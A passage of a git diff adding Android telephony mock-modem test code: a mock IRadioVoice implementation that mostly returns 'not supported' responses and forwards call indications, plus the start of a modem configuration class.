+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.mockmodem;
+
+import android.hardware.radio.RadioError;
+import android.hardware.radio.RadioIndicationType;
+import android.hardware.radio.RadioResponseInfo;
+import android.hardware.radio.voice.IRadioVoice;
+import android.hardware.radio.voice.IRadioVoiceIndication;
+import android.hardware.radio.voice.IRadioVoiceResponse;
+import android.os.RemoteException;
+import android.util.Log;
+
+public class IRadioVoiceImpl extends IRadioVoice.Stub {
+    private static final String TAG = "MRVOICE";
+
+    private final MockModemService mService;
+    private IRadioVoiceResponse mRadioVoiceResponse;
+    private IRadioVoiceIndication mRadioVoiceIndication;
+
+    public IRadioVoiceImpl(MockModemService service) {
+        Log.d(TAG, "Instantiated");
+
+        this.mService = service;
+    }
+
+    // Implementation of IRadioVoice functions
+    @Override
+    public void setResponseFunctions(
+            IRadioVoiceResponse radioVoiceResponse, IRadioVoiceIndication radioVoiceIndication) {
+        Log.d(TAG, "setResponseFunctions");
+        mRadioVoiceResponse = radioVoiceResponse;
+        mRadioVoiceIndication = radioVoiceIndication;
+        mService.countDownLatch(MockModemService.LATCH_RADIO_INTERFACES_READY);
+    }
+
+    @Override
+    public void acceptCall(int serial) {
+        Log.d(TAG, "acceptCall");
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioVoiceResponse.acceptCallResponse(rsp);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to acceptCall from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void cancelPendingUssd(int serial) {
+        Log.d(TAG, "cancelPendingUssd");
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioVoiceResponse.cancelPendingUssdResponse(rsp);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to cancelPendingUssd from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void conference(int serial) {
+        Log.d(TAG, "conference");
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioVoiceResponse.conferenceResponse(rsp);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to conference from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void dial(int serial, android.hardware.radio.voice.Dial dialInfo) {
+        Log.d(TAG, "dial");
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioVoiceResponse.dialResponse(rsp);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to dial from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void emergencyDial(
+            int serial,
+            android.hardware.radio.voice.Dial dialInfo,
+            int categories,
+            String[] urns,
+            int routing,
+            boolean hasKnownUserIntentEmergency,
+            boolean isTesting) {
+        Log.d(TAG, "emergencyDial");
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioVoiceResponse.emergencyDialResponse(rsp);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to emergencyDial from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void exitEmergencyCallbackMode(int serial) {
+        Log.d(TAG, "exitEmergencyCallbackMode");
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioVoiceResponse.exitEmergencyCallbackModeResponse(rsp);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to exitEmergencyCallbackMode from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void explicitCallTransfer(int serial) {
+        Log.d(TAG, "explicitCallTransfer");
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioVoiceResponse.explicitCallTransferResponse(rsp);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to explicitCallTransfer from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void getCallForwardStatus(
+            int serial, android.hardware.radio.voice.CallForwardInfo callInfo) {
+        Log.d(TAG, "getCallForwardStatus");
+
+        android.hardware.radio.voice.CallForwardInfo[] callForwardInfos =
+                new android.hardware.radio.voice.CallForwardInfo[0];
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioVoiceResponse.getCallForwardStatusResponse(rsp, callForwardInfos);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to getCallForwardStatus from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void getCallWaiting(int serial, int serviceClass) {
+        Log.d(TAG, "getCallWaiting");
+
+        boolean enable = false;
+        int rspServiceClass = 0;
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioVoiceResponse.getCallWaitingResponse(rsp, enable, rspServiceClass);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to getCallWaiting from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void getClip(int serial) {
+        Log.d(TAG, "getClip");
+
+        int status = 0;
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioVoiceResponse.getClipResponse(rsp, status);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to getClip from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void getClir(int serial) {
+        Log.d(TAG, "getClir");
+
+        int n = 0;
+        int m = 0;
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioVoiceResponse.getClirResponse(rsp, n, m);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to getClir from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void getCurrentCalls(int serial) {
+        Log.d(TAG, "getCurrentCalls");
+
+        android.hardware.radio.voice.Call[] calls = new android.hardware.radio.voice.Call[0];
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioVoiceResponse.getCurrentCallsResponse(rsp, calls);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to getCurrentCalls from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void getLastCallFailCause(int serial) {
+        Log.d(TAG, "getLastCallFailCause");
+
+        android.hardware.radio.voice.LastCallFailCauseInfo failCauseinfo =
+                new android.hardware.radio.voice.LastCallFailCauseInfo();
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioVoiceResponse.getLastCallFailCauseResponse(rsp, failCauseinfo);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to getLastCallFailCause from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void getMute(int serial) {
+        Log.d(TAG, "getMute");
+
+        boolean enable = false;
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioVoiceResponse.getMuteResponse(rsp, enable);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to getMute from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void getPreferredVoicePrivacy(int serial) {
+        Log.d(TAG, "getPreferredVoicePrivacy");
+
+        boolean enable = false;
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioVoiceResponse.getPreferredVoicePrivacyResponse(rsp, enable);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to getPreferredVoicePrivacy from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void getTtyMode(int serial) {
+        Log.d(TAG, "getTtyMode");
+
+        int mode = 0;
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioVoiceResponse.getTtyModeResponse(rsp, mode);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to getTtyMode from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void handleStkCallSetupRequestFromSim(int serial, boolean accept) {
+        Log.d(TAG, "handleStkCallSetupRequestFromSim");
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioVoiceResponse.handleStkCallSetupRequestFromSimResponse(rsp);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to handleStkCallSetupRequestFromSim from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void hangup(int serial, int gsmIndex) {
+        Log.d(TAG, "hangup");
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioVoiceResponse.hangupConnectionResponse(rsp); // TODO: no hangupResponse
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to hangup from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void hangupForegroundResumeBackground(int serial) {
+        Log.d(TAG, "hangupForegroundResumeBackground");
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioVoiceResponse.hangupForegroundResumeBackgroundResponse(rsp);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to hangupForegroundResumeBackground from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void hangupWaitingOrBackground(int serial) {
+        Log.d(TAG, "hangupWaitingOrBackground");
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioVoiceResponse.hangupWaitingOrBackgroundResponse(rsp);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to hangupWaitingOrBackground from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void isVoNrEnabled(int serial) {
+        Log.d(TAG, "isVoNrEnabled");
+
+        boolean enable = false;
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioVoiceResponse.isVoNrEnabledResponse(rsp, enable);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to isVoNrEnabled from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void rejectCall(int serial) {
+        Log.d(TAG, "rejectCall");
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioVoiceResponse.rejectCallResponse(rsp);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to rejectCall from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void responseAcknowledgement() {
+        Log.d(TAG, "responseAcknowledgement");
+        // TODO
+    }
+
+    @Override
+    public void sendBurstDtmf(int serial, String dtmf, int on, int off) {
+        Log.d(TAG, "sendBurstDtmf");
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioVoiceResponse.sendBurstDtmfResponse(rsp);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to sendBurstDtmf from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void sendCdmaFeatureCode(int serial, String featureCode) {
+        Log.d(TAG, "sendCdmaFeatureCode");
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioVoiceResponse.sendCdmaFeatureCodeResponse(rsp);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to sendCdmaFeatureCode from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void sendDtmf(int serial, String s) {
+        Log.d(TAG, "sendDtmf");
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioVoiceResponse.sendDtmfResponse(rsp);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to sendDtmf from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void sendUssd(int serial, String ussd) {
+        Log.d(TAG, "sendUssd");
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioVoiceResponse.sendUssdResponse(rsp);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to sendUssd from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void separateConnection(int serial, int gsmIndex) {
+        Log.d(TAG, "separateConnection");
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioVoiceResponse.separateConnectionResponse(rsp);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to separateConnection from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void setCallForward(int serial, android.hardware.radio.voice.CallForwardInfo callInfo) {
+        Log.d(TAG, "setCallForward");
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioVoiceResponse.setCallForwardResponse(rsp);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to setCallForward from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void setCallWaiting(int serial, boolean enable, int serviceClass) {
+        Log.d(TAG, "setCallWaiting");
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioVoiceResponse.setCallWaitingResponse(rsp);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to setCallWaiting from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void setClir(int serial, int status) {
+        Log.d(TAG, "setClir");
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioVoiceResponse.setClirResponse(rsp);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to setClir from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void setMute(int serial, boolean enable) {
+        Log.d(TAG, "setMute");
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioVoiceResponse.setMuteResponse(rsp);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to setMute from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void setPreferredVoicePrivacy(int serial, boolean enable) {
+        Log.d(TAG, "setPreferredVoicePrivacy");
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioVoiceResponse.setPreferredVoicePrivacyResponse(rsp);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to setPreferredVoicePrivacy from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void setTtyMode(int serial, int mode) {
+        Log.d(TAG, "setTtyMode");
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioVoiceResponse.setTtyModeResponse(rsp);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to setTtyMode from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void setVoNrEnabled(int serial, boolean enable) {
+        Log.d(TAG, "setVoNrEnabled");
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioVoiceResponse.setVoNrEnabledResponse(rsp);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to setVoNrEnabled from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void startDtmf(int serial, String s) {
+        Log.d(TAG, "startDtmf");
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioVoiceResponse.startDtmfResponse(rsp);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to startDtmf from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void stopDtmf(int serial) {
+        Log.d(TAG, "stopDtmf");
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioVoiceResponse.stopDtmfResponse(rsp);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to stopDtmf from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void switchWaitingOrHoldingAndActive(int serial) {
+        Log.d(TAG, "switchWaitingOrHoldingAndActive");
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioVoiceResponse.switchWaitingOrHoldingAndActiveResponse(rsp);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to switchWaitingOrHoldingAndActive from AIDL. Exception" + ex);
+        }
+    }
+
+    public void callRing(boolean isGsm, android.hardware.radio.voice.CdmaSignalInfoRecord record) {
+        Log.d(TAG, "callRing");
+
+        if (mRadioVoiceIndication != null) {
+            try {
+                mRadioVoiceIndication.callRing(RadioIndicationType.UNSOLICITED, isGsm, record);
+            } catch (RemoteException ex) {
+                Log.e(TAG, "Failed to callRing indication from AIDL. Exception" + ex);
+            }
+        } else {
+            Log.e(TAG, "null mRadioVoiceIndication");
+        }
+    }
+
+    public void callStateChanged() {
+        Log.d(TAG, "callStateChanged");
+
+        if (mRadioVoiceIndication != null) {
+            try {
+                mRadioVoiceIndication.callStateChanged(RadioIndicationType.UNSOLICITED);
+            } catch (RemoteException ex) {
+                Log.e(TAG, "Failed to callStateChanged indication from AIDL. Exception" + ex);
+            }
+        } else {
+            Log.e(TAG, "null mRadioVoiceIndication");
+        }
+    }
+
+    public void cdmaCallWaiting(android.hardware.radio.voice.CdmaCallWaiting callWaitingRecord) {
+        Log.d(TAG, "cdmaCallWaiting");
+
+        if (mRadioVoiceIndication != null) {
+            try {
+                mRadioVoiceIndication.cdmaCallWaiting(
+                        RadioIndicationType.UNSOLICITED, callWaitingRecord);
+            } catch (RemoteException ex) {
+                Log.e(TAG, "Failed to cdmaCallWaiting indication from AIDL. Exception" + ex);
+            }
+        } else {
+            Log.e(TAG, "null mRadioVoiceIndication");
+        }
+    }
+
+    public void cdmaInfoRec(android.hardware.radio.voice.CdmaInformationRecord[] records) {
+        Log.d(TAG, "cdmaInfoRec");
+
+        if (mRadioVoiceIndication != null) {
+            try {
+                mRadioVoiceIndication.cdmaInfoRec(RadioIndicationType.UNSOLICITED, records);
+            } catch (RemoteException ex) {
+                Log.e(TAG, "Failed to cdmaInfoRec indication from AIDL. Exception" + ex);
+            }
+        } else {
+            Log.e(TAG, "null mRadioVoiceIndication");
+        }
+    }
+
+    public void cdmaOtaProvisionStatus(int status) {
+        Log.d(TAG, "cdmaOtaProvisionStatus");
+
+        if (mRadioVoiceIndication != null) {
+            try {
+                mRadioVoiceIndication.cdmaOtaProvisionStatus(
+                        RadioIndicationType.UNSOLICITED, status);
+            } catch (RemoteException ex) {
+                Log.e(TAG, "Failed to cdmaOtaProvisionStatus indication from AIDL. Exception" + ex);
+            }
+        } else {
+            Log.e(TAG, "null mRadioVoiceIndication");
+        }
+    }
+
+    public void currentEmergencyNumberList(
+            android.hardware.radio.voice.EmergencyNumber[] emergencyNumberList) {
+        Log.d(TAG, "currentEmergencyNumberList");
+
+        if (mRadioVoiceIndication != null) {
+            try {
+                mRadioVoiceIndication.currentEmergencyNumberList(
+                        RadioIndicationType.UNSOLICITED, emergencyNumberList);
+            } catch (RemoteException ex) {
+                Log.e(
+                        TAG,
+                        "Failed to currentEmergencyNumberList indication from AIDL. Exception"
+                                + ex);
+            }
+        } else {
+            Log.e(TAG, "null mRadioVoiceIndication");
+        }
+    }
+
+    public void enterEmergencyCallbackMode() {
+        Log.d(TAG, "enterEmergencyCallbackMode");
+
+        if (mRadioVoiceIndication != null) {
+            try {
+                mRadioVoiceIndication.enterEmergencyCallbackMode(RadioIndicationType.UNSOLICITED);
+            } catch (RemoteException ex) {
+                Log.e(
+                        TAG,
+                        "Failed to enterEmergencyCallbackMode indication from AIDL. Exception"
+                                + ex);
+            }
+        } else {
+            Log.e(TAG, "null mRadioVoiceIndication");
+        }
+    }
+
+    public void exitEmergencyCallbackMode() {
+        Log.d(TAG, "exitEmergencyCallbackMode");
+
+        if (mRadioVoiceIndication != null) {
+            try {
+                mRadioVoiceIndication.exitEmergencyCallbackMode(RadioIndicationType.UNSOLICITED);
+            } catch (RemoteException ex) {
+                Log.e(
+                        TAG,
+                        "Failed to exitEmergencyCallbackMode indication from AIDL. Exception" + ex);
+            }
+        } else {
+            Log.e(TAG, "null mRadioVoiceIndication");
+        }
+    }
+
+    public void indicateRingbackTone(boolean start) {
+        Log.d(TAG, "indicateRingbackTone");
+
+        if (mRadioVoiceIndication != null) {
+            try {
+                mRadioVoiceIndication.indicateRingbackTone(RadioIndicationType.UNSOLICITED, start);
+            } catch (RemoteException ex) {
+                Log.e(TAG, "Failed to indicateRingbackTone indication from AIDL. Exception" + ex);
+            }
+        } else {
+            Log.e(TAG, "null mRadioVoiceIndication");
+        }
+    }
+
+    public void onSupplementaryServiceIndication(
+            android.hardware.radio.voice.StkCcUnsolSsResult ss) {
+        Log.d(TAG, "onSupplementaryServiceIndication");
+
+        if (mRadioVoiceIndication != null) {
+            try {
+                mRadioVoiceIndication.onSupplementaryServiceIndication(
+                        RadioIndicationType.UNSOLICITED, ss);
+            } catch (RemoteException ex) {
+                Log.e(
+                        TAG,
+                        "Failed to onSupplementaryServiceIndication indication from AIDL. Exception"
+                                + ex);
+            }
+        } else {
+            Log.e(TAG, "null mRadioVoiceIndication");
+        }
+    }
+
+    public void onUssd(int modeType, String msg) {
+        Log.d(TAG, "onUssd");
+
+        if (mRadioVoiceIndication != null) {
+            try {
+                mRadioVoiceIndication.onUssd(RadioIndicationType.UNSOLICITED, modeType, msg);
+            } catch (RemoteException ex) {
+                Log.e(TAG, "Failed to onUssd indication from AIDL. Exception" + ex);
+            }
+        } else {
+            Log.e(TAG, "null mRadioVoiceIndication");
+        }
+    }
+
+    public void resendIncallMute() {
+        Log.d(TAG, "resendIncallMute");
+
+        if (mRadioVoiceIndication != null) {
+            try {
+                mRadioVoiceIndication.resendIncallMute(RadioIndicationType.UNSOLICITED);
+            } catch (RemoteException ex) {
+                Log.e(TAG, "Failed to resendIncallMute indication from AIDL. Exception" + ex);
+            }
+        } else {
+            Log.e(TAG, "null mRadioVoiceIndication");
+        }
+    }
+
+    public void srvccStateNotify(int state) {
+        Log.d(TAG, "srvccStateNotify");
+
+        if (mRadioVoiceIndication != null) {
+            try {
+                mRadioVoiceIndication.srvccStateNotify(RadioIndicationType.UNSOLICITED, state);
+            } catch (RemoteException ex) {
+                Log.e(TAG, "Failed to srvccStateNotify indication from AIDL. Exception" + ex);
+            }
+        } else {
+            Log.e(TAG, "null mRadioVoiceIndication");
+        }
+    }
+
+    public void stkCallControlAlphaNotify(String alpha) {
+        Log.d(TAG, "stkCallControlAlphaNotify");
+
+        if (mRadioVoiceIndication != null) {
+            try {
+                mRadioVoiceIndication.stkCallControlAlphaNotify(
+                        RadioIndicationType.UNSOLICITED, alpha);
+            } catch (RemoteException ex) {
+                Log.e(
+                        TAG,
+                        "Failed to stkCallControlAlphaNotify indication from AIDL. Exception" + ex);
+            }
+        } else {
+            Log.e(TAG, "null mRadioVoiceIndication");
+        }
+    }
+
+    public void stkCallSetup(long timeout) {
+        Log.d(TAG, "stkCallSetup");
+
+        if (mRadioVoiceIndication != null) {
+            try {
+                mRadioVoiceIndication.stkCallSetup(RadioIndicationType.UNSOLICITED, timeout);
+            } catch (RemoteException ex) {
+                Log.e(TAG, "Failed to stkCallSetup indication from AIDL. Exception" + ex);
+            }
+        } else {
+            Log.e(TAG, "null mRadioVoiceIndication");
+        }
+    }
+
+    @Override
+    public String getInterfaceHash() {
+        return IRadioVoice.HASH;
+    }
+
+    @Override
+    public int getInterfaceVersion() {
+        return IRadioVoice.VERSION;
+    }
+}
diff --git a/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/MockModemConfigBase.java b/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/MockModemConfigBase.java
new file mode 100644
index 0000000..86f6a74
--- /dev/null
+++ b/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/MockModemConfigBase.java
@@ -0,0 +1,666 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.mockmodem;
+
+import static android.telephony.mockmodem.MockSimService.EF_ICCID;
+
+import android.content.Context;
+import android.hardware.radio.config.PhoneCapability;
+import android.hardware.radio.config.SimPortInfo;
+import android.hardware.radio.config.SimSlotStatus;
+import android.hardware.radio.config.SlotPortMapping;
+import android.hardware.radio.sim.CardStatus;
+import android.os.AsyncResult;
+import android.os.Bundle;
+import android.os.Handler;
+import android.os.Message;
+import android.os.RegistrantList;
+import android.telephony.mockmodem.MockSimService.SimAppData;
+import android.util.Log;
+
+import java.util.ArrayList;
+import java.util.Random;
+
+public class MockModemConfigBase implements MockModemConfigInterface {
+    // ***** Instance Variables
+    private static final int DEFAULT_SUB_ID = 0;
+    private String mTAG = "MockModemConfigBase";
+    private final Handler mHandler;
+    private Context mContext;
+    private int mSubId;
+    private int mSimPhyicalId;
+    private final Object mConfigAccess = new Object();
+    private int mNumOfSim = MockModemConfigInterface.MAX_NUM_OF_SIM_SLOT;
+    private int mNumOfPhone = MockModemConfigInterface.MAX_NUM_OF_LOGICAL_MODEM;
+
+    // ***** Events
+    static final int EVENT_SET_RADIO_POWER = 1;
+    static final int EVENT_CHANGE_SIM_PROFILE = 2;
+    static final int EVENT_SERVICE_STATE_CHANGE = 3;
+    static final int EVENT_SET_SIM_INFO = 4;
+
+    // ***** Modem config values
+    private String mBasebandVersion = MockModemConfigInterface.DEFAULT_BASEBAND_VERSION;
+    private String mImei = MockModemConfigInterface.DEFAULT_IMEI;
+    private String mImeiSv = MockModemConfigInterface.DEFAULT_IMEISV;
+    private String mEsn = MockModemConfigInterface.DEFAULT_ESN;
+    private String mMeid = MockModemConfigInterface.DEFAULT_MEID;
+    private int mRadioState = MockModemConfigInterface.DEFAULT_RADIO_STATE;
+    private byte mNumOfLiveModem = MockModemConfigInterface.DEFAULT_NUM_OF_LIVE_MODEM;
+    private SimSlotStatus[] mSimSlotStatus;
+    private CardStatus mCardStatus;
+    private int mFdnStatus;
+    private MockSimService[] mSimService;
+    private PhoneCapability mPhoneCapability = new PhoneCapability();
+    private ArrayList<SimAppData> mSimAppList;
+
+    // ***** RegistrantLists
+    // ***** IRadioConfig RegistrantLists
+    private RegistrantList mNumOfLiveModemChangedRegistrants = new RegistrantList();
+    private RegistrantList mPhoneCapabilityChangedRegistrants = new RegistrantList();
+    private RegistrantList mSimSlotStatusChangedRegistrants = new RegistrantList();
+
+    // ***** IRadioModem RegistrantLists
+    private RegistrantList mBasebandVersionChangedRegistrants = new RegistrantList();
+    private RegistrantList mDeviceIdentityChangedRegistrants = new RegistrantList();
+    private RegistrantList mRadioStateChangedRegistrants = new RegistrantList();
+
+    // ***** IRadioSim RegistrantLists
+    private RegistrantList mCardStatusChangedRegistrants = new RegistrantList();
+    private RegistrantList mSimAppDataChangedRegistrants = new RegistrantList();
+    private RegistrantList mSimInfoChangedRegistrants = new RegistrantList();
+
+    // ***** IRadioNetwork RegistrantLists
+    private RegistrantList mServiceStateChangedRegistrants = new RegistrantList();
+
+    public MockModemConfigBase(Context context, int instanceId, int numOfSim, int numOfPhone) {
+        mContext = context;
+        mSubId = instanceId;
+        mNumOfSim =
+                (numOfSim > MockModemConfigInterface.MAX_NUM_OF_SIM_SLOT)
+                        ? MockModemConfigInterface.MAX_NUM_OF_SIM_SLOT
+                        : numOfSim;
+        mNumOfPhone =
+                (numOfPhone > MockModemConfigInterface.MAX_NUM_OF_LOGICAL_MODEM)
+                        ? MockModemConfigInterface.MAX_NUM_OF_LOGICAL_MODEM
+                        : numOfPhone;
+        mTAG = mTAG + "[" + mSubId + "]";
+        mHandler = new MockModemConfigHandler();
+        mSimSlotStatus = new SimSlotStatus[mNumOfSim];
+        mCardStatus = new CardStatus();
+        mSimService = new MockSimService[mNumOfSim];
+        mSimPhyicalId = mSubId; // for default mapping
+        createSIMCards();
+        setDefaultConfigValue();
+    }
+
+    public static class SimInfoChangedResult {
+        public static final int SIM_INFO_TYPE_MCC_MNC = 1;
+        public static final int SIM_INFO_TYPE_IMSI = 2;
+        public static final int SIM_INFO_TYPE_ATR = 3;
+
+        public int mSimInfoType;
+        public int mEfId;
+        public String mAid;
+
+        public SimInfoChangedResult(int type, int efid, String aid) {
+            mSimInfoType = type;
+            mEfId = efid;
+            mAid = aid;
+        }
+
+        @Override
+        public String toString() {
+            return "SimInfoChangedResult:"
+                    + " simInfoType="
+                    + mSimInfoType
+                    + " efId="
+                    + mEfId
